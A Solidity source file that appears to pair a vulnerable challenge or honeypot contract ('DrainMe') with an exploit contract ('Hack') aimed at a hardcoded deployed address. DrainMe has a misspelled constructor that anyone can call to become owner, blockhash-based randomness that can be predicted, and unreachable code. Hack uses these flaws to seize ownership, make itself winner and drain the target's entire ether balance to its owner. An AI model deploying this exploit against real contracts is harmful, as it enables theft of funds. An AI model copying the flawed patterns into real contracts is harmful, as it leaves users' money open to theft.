pragma solidity ^0.4.23;

contract DrainMe {  

//constants

address public winner = 0x0;
address public owner;
address public firstTarget = 0x461ec7309F187dd4650EE6b4D25D93c922d7D56b;
address public secondTarget = 0x1C3E062c77f09fC61550703bDd1D59842C22c766;
address[] public players;

mapping(address=>bool) approvedPlayers;

uint256 public secret;
uint256[] public seed = [951828771,158769871220];
uint256[] public balance;

//constructor

function DranMe() public payable{
	owner = msg.sender;
}

//modifiers

modifier onlyOwner() {
    require(msg.sender == owner);
    _;
}

modifier onlyWinner() {
    require(msg.sender == winner);
    _;
}

modifier onlyPlayers() {
    require(approvedPlayers[msg.sender]);
    _;
}

//functions

function getLength() public constant returns(uint256) {
	return seed.length;
}

function setSecret(uint256 _secret) public payable onlyOwner{
	secret = _secret;
}

function getPlayerCount() public constant returns(uint256) {
	return players.length;
}

function getPrize() public constant returns(uint256) {
	return address(this).balance;
}

function becomePlayer() public payable{
	require(msg.value >= 0.02 ether);
	players.push(msg.sender);
	approvedPlayers[msg.sender]=true;
}

function manipulateSecret() public payable onlyPlayers{
	require (msg.value >= 0.01 ether);
	if(msg.sender!=owner || unlockSecret()){
	    uint256 amount = 0;
        msg.sender.transfer(amount);
	}
}

event str(uint256);

function unlockSecret() private returns(bool){
    bytes32 hash = keccak256(blockhash(block.number-1));
    
    uint256 secret = uint256(hash);
    str(secret);
        if(secret%5==0){
            winner = msg.sender;
            return true;
        }
        else{
            return false;
        }
    }

function callFirstTarget () public payable onlyPlayers {
	require (msg.value >= 0.005 ether);
	firstTarget.call.value(msg.value)();
}

function callSecondTarget () public payable onlyPlayers {
	require (msg.value >= 0.005 ether);
	secondTarget.call.value(msg.value)();
}

function setSeed (uint256 _index, uint256 _value) public payable onlyPlayers {
	seed[_index] = _value;
}
	
function addSeed (uint256 _add) public payable onlyPlayers {
	seed.length = _add;
}

function guessSeed (uint256 _seed) public payable onlyPlayers returns(uint256) {
	return (_seed / (seed[0]*seed[1]));
	if((_seed / (seed[0]*seed[1])) == secret) {
		owner = winner;
	}
}

function checkSecret () public payable onlyPlayers returns(bool) {
    require(msg.value >= 0.01 ether);
    if(msg.value == secret){
        return true;
    }
}

function winPrize() public payable onlyOwner {
	owner.call.value(1 wei)();
}

function claimPrize() public payable onlyWinner {
	winner.transfer(address(this).balance);
}

//fallback function

function() public payable{
	}
}

contract Hack{
    
    DrainMe contr = DrainMe(0xB620CeE6B52f96f3C6b253E6eEa556Aa2d214a99);
    
    address owner;
    
    function Hack(){
        owner = msg.sender;
    }
    
    //function put() payable public {
     //   require(msg.sender == owner);
     //   address(contr).transfer(msg.value);
    //}
    
    function putHere() payable public {
        require (msg.value >= 0.03 ether);
        require(msg.sender == owner);
    }
    
    event test1(bool);
    event what(uint256);
    function test() public payable {
        //require (msg.value >= 0.03 ether);
        require(msg.sender == owner);
        bytes32 hash = keccak256(blockhash(block.number-1));
        uint256 secret = uint256(hash);
        what(secret);
        if(secret%5==0){
            contr.DranMe();
            contr.becomePlayer.value(0.02 ether)();
            contr.manipulateSecret.value(0.01 ether)();
            contr.claimPrize();
            msg.sender.transfer(address(this).balance);
            test1(true);
        }
        else{
            test1(false);
        }
        
    }
      
    function take() public {
        require(msg.sender == owner);
        msg.sender.transfer(address(this).balance);
    }
    
    function() public payable {}
    
    
}